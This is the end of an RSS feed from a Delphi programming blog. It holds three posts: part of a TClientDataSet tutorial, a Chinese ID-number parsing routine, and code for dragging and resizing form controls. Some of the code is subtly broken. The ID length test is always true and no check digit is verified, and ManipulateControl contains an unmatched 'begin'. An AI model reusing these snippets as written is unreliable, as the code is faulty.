在处理OnCalcFields事件的句柄中，首先要判断State属性。如果State属性返回dsInternalCalc，此时需要计算内部计算字段的值。如果State属性返回dsCalcFields，此时需要计算一般的计算字段的值。<br>11.4 统 计 值<br>　　TClientDataSet增加了统计的功能，它可以基于分组自动计算总和、平均、计数、最大、最小值。当用户编辑数据时，这些统计值会自动跟着变化。<br>11.4.1 指定统计方式<br>　　要指定怎样进行统计，就要用到Aggregates属性。这个属性是一个TAggregates对象，它用于管理一组TAggregate对象。<br>　　在设计期，可以单击Aggregates属性边上的省略号按钮打开如图11.1所示<br>的编辑器。<br>　　图11.1 管理一组TAggregate对象<br>　　单击按钮可以增加一个TAggregate对象，单击按钮可以删减一个TAggregate对象，单击按钮可以把TAggregate对象前移，单击按钮可以把TAggregate对象后移。<br>　　可以用字段编辑器专门创建一个用于表达统计值的字段，该字段的类型必须是“Aggregate”。Delphi&amp;nbsp4会自动创建一个 TAggregate对象，并加到Aggregates属性中。选择一个TAggregate对象，Object&amp;nbspInpector将显示该对象的属性。<br>　　其中，Expression属性用于指定统计表达式，例如：<br>Sum(Field1)<br>　　也可以是比较复杂的表达式：<br>Sum(Qty *&amp;nbspPrice)&amp;nbsp-&amp;nbspSum(AmountPaid)<br>　　在表达式中，可以使用下列统计运算符：<br>.Sum计算一组数据的总和。<br>.Avg计算一组数据的平均值。<br>.Count计算一组数据中的非空值的个数。<br>.Min计算一组数据的最小值。<br>.Max计算一组数据的最大值。<br>　　除了上述几个统计运算符外，还可以使用过滤条件中所能使用的运算符，但不能嵌套。在一个表达式中，可以混合出现几个统计值或常量，但不能混合出现统计值和字段。<br>　　Sum(Qty *&amp;nbspPrice){合法}<br>　　Max(Field1)&amp;nbsp-&amp;nbspMax(Field2){合法}<br>　　Avg(DiscountRate) *&amp;nbsp100{合法}<br>　　Min(Sum(Field1)){非法，不能嵌套}<br>　　Count(Field1)&amp;nbsp-&amp;nbspField2{非法，统计值和字段不能混合出现在一个表达式中}<br>11.4.2 指定分组<br>　　默认情况下，统计值是基于数据集中所有的记录计算出来的。不过，也可以针对一部分记录计算统计值，这就需要事先建立分组。<br>　　前面在介绍索引时已经提到分组的概念。可以通过IndexName属性和GroupingLevel属性来选择使用哪个索引以及最大的分组级别。<br>　　例如，假设有一个表是这样的：<br>SalesRep　Customer　OrderNo　Amount<br>1　　　　　　1 　　　　5 　　　100<br>1　　　　　　1　　　　&amp;nbsp2　　　&amp;nbsp50<br>1　　　　　　2　　　　&amp;nbsp3 　　　200<br>1 　　　 　　2　　　 　6　　 　75<br>2　　　　　　1　　　 　1　　 　10<br>2　　　　　　3　　　 　4　　 　200<br>　　如果要按SalesRep字段分组，并且指定其中的第一级，程序代码应当这样写：<br>Agg.Expression := 'Sum(Amount)';<br>Agg.IndexName := 'SalesCust';<br>Agg.GroupingLevel :=&amp;nbsp1;<br>Agg.AggregateName := 'Total&amp;nbspfor&amp;nbspRep';<br>11.4.3 怎样获取统计值<br>　　要获取统计值，可以调用TAggregate对象的value函数。如果统计值是基于数据集中所有的记录计算出来的，随时可以调用value函数。如果统计值是基于分组计算出来的，必须保证当前记录正好位于该分组内。因此，在调用value之前，最好先调用GetGroupState函数看看当前记录是否位于该分组内。<br>　　要在数据控件中显示统计值，必须事先在字段编辑器中创建一个永久字段对象，该字段的类型必须是Aggregate。<br>11.5 数 据 包<br>　　通过Data属性可以访问客户程序从应用服务器检索到的数据。程序示例如下：<br>Procedure&amp;nbspTForm1.Button1Click(Sender:&amp;nbspTObject);<br>Begin<br>ClientDataSet1.Data :=&amp;nbspClientDataSet1.Provider.DataRequest(FilterEdit.Text);<br>End;<br>11.5.1 直接对Data属性赋值<br>　　前面讲过，客户程序既可以通过IProvider接口获取数据，也可以从另一个数据集获取数据，后者就是通过Data属性赋值的。程序示例如下：<br>　　ClientDataSet1.Data :=&amp;nbspClientDataSet2.Data;<br>　　一旦Data被赋值，就可以用标准的数据控件显示这些数据。<br>　　注意：当从另一个数据集获取数据时，另一个数据集的日志也将被复制过来，但不包括原来的范围和过滤条件。<br>　　如果要从另一个基于BDE的数据集中获取数据，可以通过数据集构件的Provider属性，程序示例如下：<br>　　ClientDataSet1.Data :=&amp;nbspTable1.Provider.Data;<br>　　如果要从一个自定义的数据集获取数据，首先要创建一个临时的TProvider构件，然后设置其DataSet属性指定这个自定义的数据集。程序示例如下：<br>TempProvider :=&amp;nbspTDataSetProvider.Create(Form1);<br>TempProvider.DataSet :=&amp;nbspSourceDataSet;<br>ClientDataSet1.Data :=&amp;nbspTempProvider.Data;<br>TempProvider.Free;<br>11.5.2 在数据包中加入自定义的信息<br>　　可以把自定义的信息加到数据包中。当把数据保存到文件或流中时，这些自定义的信息也将保存到文件或流中。如果把数据包直接赋值给另一个数据集的话，这些自定义的信息也将被复制。<br>　　要把自定义的信息加到数据包中，可以调用SetOptionalParam函数。要从数据包中检索自定义的信息，可以调用GetOptionalParam。程序示例如下：<br>Procedure&amp;nbspTAppServer.Provider1UpdateData(Sender:&amp;nbspTObject;&amp;nbspDataSet:&amp;nbspTClientDataSet); <br>var<br>WhenProvided:&amp;nbspTDateTime;<br>Begin<br>WhenProvided :=&amp;nbspDataSet.GetOptionalParam('TimeProvided');<br>...<br>End;<br>11.5.3 克隆另一个数据集<br>　　调用TClientDataSet的CloneCursor函数可以获得一个数据集的完全相同的副本。它与直接通过Data属性赋值是有区别的。<br>　　区别之一：数据在两个数据集之间是共享的，修改其中一个将同时修改另一个。<br>　　区别之二：除了数据外，CloneCursor函数还复制了一些属性和事件，这取决于Reset和KeepSettings参数怎样设置。<br>　　　CloneCursor函数需要传递三个参数，其中，Source参数指定源数据集，Reset参数和KeepSettings参数用于设置除了数据外是否还要复制下列属性和事件：Filter、Filtered、FilterOptions、OnFilterRecord、IndexName、 MasterSource、MasterFields、ReadOnly、RemoteServer、ProviderName、Provider。<br>　　如果Reset和KeepSettings参数都设为False，源数据集的上述属性和事件都将被复制给目标数据集。如果Reset参数设为True，目标数据集的上述属性和事件都将被清空。如果Reset参数设为False，而KeepSettings参数设为True，目标数据集的上述属性和事件不变，不过，必须保证这些属性和事件与克隆后的数据相容。<br>11.6 与应用服务器通讯<br>　　在多层体系结构中，客户程序通过IProvider接口与应用服务器交换数据。这一章介绍怎样在客户端获得IProvider接口、怎样向应用服务器传递参数、怎样向应用服务器请求数据、怎样把用户对数据的修改写到数据库中。<br>11.6.1 怎样在客户端获得IProvider接口<br>　　在单层应用程序以及工作在“公文包”模式下的多层应用程序中，不需要用到IProvider接口。而在多层体系结构中，客户程序要与应用服务器交换数据，首先必须获得IProvider接口，这就要用到RemoteServer属性和ProviderName属性。<br>　　RemoteServer属性用于指定客户端的MIDAS连接构件。MIDAS连接构件又称Data&amp;nbspBroker，用于建立和维护与应用服务器的连接。<br>　　在设计期，正确设置了RemoteServer属性后，就可以在对象观察器中为ProviderName属性选择一个值，实际上就是选择应用服务器上的一个TProvider构件。<br>11.6.2 向应用服务器传递参数<br>　　客户程序可以向应用服务器传递参数，这些参数实际上是传递给应用服务器上的TQuery构件或TStoredProc构件。既可以在设计期也可以在运行期设置参数。<br>　　在设计期，可以单击Params属性边上的省略号按钮，打开一个如图11.2所示的编辑器。<br>　　图11.2 设置参数<br>　　单击按钮可以增加一个参数，单击按钮可以删减一个参数，单击按钮可以把一个参数前移，单击按钮可以把一个参数后移。<br>　　选择一个参数，对象观察器将显示该参数(TParam对象)的属性。<br>　　在运行期可以调用TParams的CreateParam函数来创建一个参数。例如，下面的代码创建了一个参数叫CustNo，它的使用类型是ptInput，数据类型是ftInteger，它的值设为605。<br>With&amp;nbspClientDataSet1.Params.CreateParam(ftInteger, 'CustNo',&amp;nbspptInput)&amp;nbspDo<br>AsInteger :=&amp;nbsp605;<br>　　设置好参数以后，如果TClientDataset的Active属性是False，只要把Active属性设为True，这些参数将被自动传递给应用服务器。如果Active属性已经为True，就要调用SendParams函数把参数传递给应用服务器。<br>　　注意：传递给应用服务器的参数必须与TQuery构件或TStoredProc构件的参数匹配，包括名称、数据类型和参数类型。<br>11.6.3 怎样向应用服务器请求数据<br>　　TClientDataSet提供了两个属性和三个方法，用于怎样向应用服务器请求数据：<br>　　一是FetchOnDemand属性。如果这个属性设为True，TClientDataSet会根据需要自动检索附加的数据包，例如BLOB字段的值或者嵌套表的内容。如果这个属性设为False，程序需要显式地调用GetNextPacket才能获得这些附加的数据包。<br>　　二是PacketRecords属性，用于设置一个数据包中最多可容纳的记录数，设为-1表示一个数据包可以容纳数据集的所有记录。<br>　　三是GetNextPacket函数，用于向应用服务器检索下一个数据包，并把检索到的数据包添加到前一次检索到的数据包的后面。这个函数返回实际检索到的记录数。<br>　　四是FetchBlobs过程，用于从应用服务器检索BLOB字段的值。如果FetchOnDemand属性设为True，就没必要调用FetchBlobs函数。<br>　　五是FetchDetails过程，用于检索嵌套表中的数据。如果FetchOnDemand属性设为True，就没必要调用FetchDetails函数。<br>11.6.4 更新数据库<br>　　在多层体系结构中，用户在客户端修改了数据后，需要把最新的数据写到数据库中，这就要调用TClientDataSet的ApplyUpdates函数。<br>　　ApplyUpdates只需要传递一个参数叫MaxErrors，用于指定一个整数，当遇到无法更新的记录超过这个数时，此次更新就中止。如果 MaxErrors参数设为0，表示只要遇到一个错误更新就中止，客户端的日志保持不变。如果MaxErrors参数设为-1，当应用服务器发现有错误的记录，就尝试更新下一个记录，等所有的记录都尝试过以后才返回。<br>　　ApplyUpdates会自动调用Reconcile函数，进而调用应用服务器上的TProvider构件的ApplyUpdates函数去更新远程的数据库服务器。没有被DBMS服务器认可的记录通过Reconcile返回给客户端，此时将在客户端触发OnReconcileError事件让您更正错误。最后，ApplyUpdates函数返回仍然没有被认可的记录数。<br>11.7 在文件中存取数据<br>　　要从文件中读取数据，可以调用LoadFromFile函数。LoadFromFile函数需要传递一个参数，用于指定文件名。文件名应包含完整的路径。如果客户程序总是从一个固定的文件中读取数据，可以设置FileName属性指定一个文件名，以后，当TClientDataSet引入的数据集打开时，就自动从这个文件中读取数据，不需要调用LoadFromFile。<br>　　要从流中读取数据，可以调用LoadFromStream。LoadFromStream需要传递一个参数，用于指定一个流对象。<br>　　注意：LoadFromFile(LoadFromStream)只能从先前用SaveToFile(SaveToStream)保存的文件中读取数据。<br>　　要把数据保存到文件中，可以调用SaveToFile函数。SaveToFile需要传递一个参数，用于指定文件名。如果指定的文件已存在，文件中的数据将被覆盖。如果客户程序总是把数据保存到一个固定的文件中，可以设置FileName属性指定一个文件名，当TClientDataSet引入的数据集关闭时，就自动把数据保存到这个文件中，不需要调用SaveToFile。<br>　　要把数据保存到流中，可以调用SaveToStream。SaveToStream需要传递一个参数，指定一个流对象。<br>　　注意：当把数据保存到文件或流中时，日志中记载的修改仍然保留。这样，当下次调用LoadFromFile或LoadFromStream读取数据时，仍然可以恢复原来的数据 <br><br>]]></description>
	<author>yeszhang</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31467</comments>
	<dc:creator>yeszhang</dc:creator>
</item>

<item>
	<title><![CDATA[一个完整身份证效验程序]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31466</link> 
	<pubDate>2009-6-27 18:29:55</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31466</guid>
	<description><![CDATA[一个完整身份证效验程序<br><br>根据〖中华人民共和国国家标准 GB 11643-1999〗中有关公民身份号码的规定，<br>公民身份号码是特征组合码18位：由十七位数字本体码和一位数字校验码组成。排列顺序从左至右依次为：六位数字地址码，八位数字出生日期码，三位数字顺序码和一位数字校验码。 <br>地址码表示编码对象常住户口所在县(市、旗、区)的行政区划代码。生日期码表示编码对象出生的年、月、日，其中年份用四位数字表示，年、月、日之间不用分隔符。顺序码表示同一地址码所标识的区域范围内，对同年、月、日出生的人员编定的顺序号。顺序码的奇数分给男性，偶数分给女性。<br>15位：六位数字地址码，六位数字出生日期码，三位数字顺序码和一位数字校验码。 <br>var<br>     codeInfoTst: Tstrings; //总<br>     codeTst: Tstrings; //代码<br>     InfoTst: Tstrings; //地址信息<br><br>function identityInfo(identitycode: string): string;<br>//由年月日判断是否为有效日期<br>     function IsDate(Year, Month, Day: string): Boolean;<br>     var<br>         st: string;<br>     begin<br><br>         st := Year + '-' + Month + '-' + day;<br>         try<br>             StrToDate(st);<br>             Result := True;<br>         except<br><br>             Result := False;<br><br>         end;<br>     end;<br><br><br>     function getdetailedFromCode(code: string): string; //由身份证的前六位获得省份县市信息<br>     var<br>         Index: integer;<br>         St: string;<br>     begin<br>         index := codeTst.IndexOf(code);<br>         if index = -1 then<br>         begin<br>             Result := '';<br>             exit;<br>         end;<br>         st := infoTst[index]; //县<br>         code := copy(code, 1, 4) + '00';<br>         index := codeTst.IndexOf(code);<br>         if index = -1 then<br>         begin<br>             Result := st;<br>             exit;<br>         end;<br>         st := infoTst[index] + st; //市<br><br>         code := copy(code, 1, 2) + '0000';<br>         index := codeTst.IndexOf(code);<br>         if index = -1 then<br>         begin<br>             Result := st;<br>             exit;<br>         end;<br>         st := infoTst[index] + st; //省<br>         Result := st;<br><br><br>     end;<br><br>var<br>     YLYear, YLMonth, YlDay, id, sex, code: string;<br>     E: integer;<br>     St: string;<br><br>begin<br><br><br>     e := Length(identitycode);<br>     if (e &lt;&gt; 18) or (e &lt;&gt; 15) then result := '';<br>     if (e = 18) then<br>     begin<br>         YLYear := copy(identitycode, 7, 4);<br>         YlMonth := copy(identitycode, 11, 2);<br>         YLday := copy(identitycode, 13, 2);<br>         id := copy(identitycode, 18,1);<br>     end;<br>     if (e = 15) then<br>     begin<br>         YLYear := '19' + copy(identitycode, 7, 2);<br>         YlMonth := copy(identitycode, 9, 2);<br>         YLday := copy(identitycode, 11, 2);<br>         id := copy(identitycode, 15, 1);<br>     end;<br>     st := '';<br>     if IsDate(YlYear, YlMonth, Ylday) then<br>     begin<br>         st := YLYear + '年' + YlMonth + '月' + YLday + '日生'<br>     end;<br>     code := copy(identitycode, 1, 6);<br>     st := getdetailedFromCode(code) + ':' + st;<br><br><br>     if (StrToInt(id) mod 2 = 1) then<br>     begin<br>         sex := '男';<br>     end<br>     else<br>     begin<br>         sex := '女';<br>     end;<br>     st := st + ':' + sex + '性！' + Trim(IntToStr(e)) + '位证号！';<br>     Result := st;<br><br><br>end;<br><br>procedure TForm1.Button1Click(Sender: TObject);<br>var<br>     i, num: integer;<br>     code, info: string;<br>begin<br><br><br>     codeInfoTst := Tstringlist.Create;<br>     CodeTst := Tstringlist.Create;<br>     infotst := Tstringlist.Create;<br>     try<br>         codeInfoTst.LoadFromFile('c:\code.txt');<br>         //分解代码地址信息<br>         num := Codeinfotst.Count;<br>         for i := 0 to num - 1 do<br>         begin<br>             code := copy(Codeinfotst[i], 1, 6);<br>             Info := copy(Codeinfotst[i], 8, length(Codeinfotst[i]) - 7);<br>             codetst.Add(code);<br>             infotst.Add(info);<br><br>         end;<br>         showmessage(identityInfo('530101700205379'));<br><br>     finally<br>         codeTst.Free;<br>         infotst.Free;<br>         CodeinfoTst.Free;<br>     end;<br><br><br>end;<br><br>end.<br>  ]]></description>
	<author>yeszhang</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31466</comments>
	<dc:creator>yeszhang</dc:creator>
</item>

<item>
	<title><![CDATA[Delphi实现窗体控件自由摆布 ]]></title>
	<link>http://www.delphibbs.com/keylife/iblog_show.asp?xid=31465</link> 
	<pubDate>2009-6-27 18:28:51</pubDate>
	<guid isPermaLink="true">http://www.delphibbs.com/keylife/iblog_show.asp?xid=31465</guid>
	<description><![CDATA[Delphi实现窗体控件自由摆布<br>在做Mis项目过程中，有时需要让用户自己来实现窗体控件的布局，比如酒店管理中就需要对餐厅餐桌位置进行布局。要实现这种功能，必须做好三件事：<br>　　1、设置进入控件边缘的光标形状；<br><br>　　2、改变控件的大小及位置；<br><br>　　3、保存窗体控件的位置及状态，窗体下次启动时重新设置它们的这些信息。具体步骤如下：<br><br>　　1、修改控件光标。只需要在进入控件的时候，将screen的cursor属性设置成对应形状即可，控件都有一个OnMouseMove事件，在这个事件中调用它就可以实现。我已经将它封装成函数如下：<br><br>procedure CursorControl(Control: TControl; Shift: TShiftState; X, Y, Prec: integer);<br>　begin<br>　　//光标在控件的最左侧 <br>　　if (X&lt;=Prec) and (Y&gt;Prec) and (Y&lt;Control.Height-Prec) then Control.Cursor := crSizeWE<br>　　// 光标在控件的最右侧 <br>　　else if (X&gt;=Control.Width-Prec) and (Y&gt;Prec) and (Y&lt;Control.Height-Prec) then 　　Control.Cursor := crSizeWE<br>　　// 光标在控件的最上侧 <br>　　else if (X&gt;Prec) and (X&lt;Control.Width-Prec) and (Y&lt;=Prec) then Control.Cursor := crSizeNS<br>　　　// 光标在控件的左上角 <br>　　else if (X&lt;=Prec) and (Y&lt;=Prec) then Control.Cursor := crSizeNWSE<br>　　　// 光标在控件的右上角 <br>　　else if (X&gt;=Control.Width-Prec) and (Y&lt;=Prec) then Control.Cursor := crSizeNESW<br>　　// 光标在控件的最下侧 <br>　　else if (X&gt;Prec) and (X&lt;Control.Width-Prec) and (Y&gt;=Control.Height-Prec) then Control.Cursor := crSizeNS<br>　　// 光标在控件的左下角 <br>　　else if (X&lt;=Prec) and (Y&gt;=Control.Height-Prec) then Control.Cursor := crSizeNESW<br>// 光标在控件的右下角 <br>　　else if (X&gt;=Control.Width-Prec) and (Y&gt;=Control.Height-Prec) then <br>　　　Control.Cursor := crSizeNWSE<br>　　　// 光标在控件的客户区(移动整个控件)<br>　　else if (X&gt;5) and (Y&gt;5) and (X&lt;Control.Width-5) and (Y&lt;Control.Height-5) then Control.Cursor := crSizeAll<br>　　else Control.Cursor := crDefault;//恢复默认光标<br>end; <br><br>　　2、修改窗体控件的大小和位置。其实有一种最简便的方法那就是向控件发送相应的消息即可。我也已将它封装成一个函数，在控件的OnMouseDown事件中调用即可。函数如下：<br><br>procedure ManipulateControl(Control: TControl; Shift: TShiftState; X, Y, Prec: integer);<br>　var <br>　　SC_MANIPULATE: Word;//保存对应消息值<br>　begin<br>　　// 光标在控件的最左侧 <br>　　if (X&lt;=Prec) and (Y&gt;Prec) and (Y&lt;Control.Height-Prec) then SC_MANIPULATE := $F001<br>　　　// 光标在控件的最右侧 <br>　　else if (X&gt;=Control.Width-Prec) and (Y&gt;Prec) and (Y&lt;Control.Height-Prec) then SC_MANIPULATE := $F002<br>　　　// 光标在控件的最上侧 <br>　　else if (X&gt;Prec) and (X&lt;Control.Width-Prec) and (Y&lt;=Prec) then begin<br>　　　SC_MANIPULATE := $F003<br>　　　// 光标在控件的左上角 <br>　　else if (X&lt;=Prec) and (Y&lt;=Prec) then SC_MANIPULATE := $F004<br>　　　// 光标在控件的右上角 <br>　　else if (X&gt;=Control.Width-Prec) and (Y&lt;=Prec) then SC_MANIPULATE := $F005<br>　　　// 光标在控件的最下侧 <br>　　else if (X&gt;Prec) and (X&lt;Control.Width-Prec) and (Y&gt;=Control.Height-Prec) then SC_MANIPULATE := $F006<br>　　　// 光标在控件的左下角 <br>　　else if (X&lt;=Prec) and (Y&gt;=Control.Height-Prec) then SC_MANIPULATE := $F007<br>　　　// 光标在控件的右下角 <br>　　else if (X&gt;=Control.Width-Prec) and (Y&gt;=Control.Height-Prec) then SC_MANIPULATE := $F008<br>　　　// 光标在控件的客户区 ( 移动整个控件 )<br>　　else if (X&gt;5) and (Y&gt;5) and (X&lt;Control.Width-5) and (Y&lt;Control.Height-5) then SC_MANIPULATE := $F009<br>　　else SC_MANIPULATE := $F000;<br>　　　if Shift=[ssLeft] then<br>　　　begin<br>　　　　ReleaseCapture;<br>　　　　Control.Perform(WM_SYSCOMMAND, SC_MANIPULATE, 0);//向控件发送改变光标消息<br>　　end;<br>end; <br><br>　　3、保存和恢复窗体控件的大小及位置。通过对窗体的Component元件进行遍历，然后将它们的位置及大小属性值写入INI文件中，窗体下次启动时再通过读取INI文件恢复窗体控件的这些属性即可。关于这个解决办法网上有很多，还有现成的控件不用写一行代码就可实现的，限于篇幅在此我就不再累述了。有兴趣的朋友不防一试。所有代码在WIN2000/Delphi7下测试通过。  ]]></description>
	<author>yeszhang</author>
	<comments>http://www.delphibbs.com/keylife/iblog_comment.asp?xid=31465</comments>
	<dc:creator>yeszhang</dc:creator>
</item>

</channel>
</rss>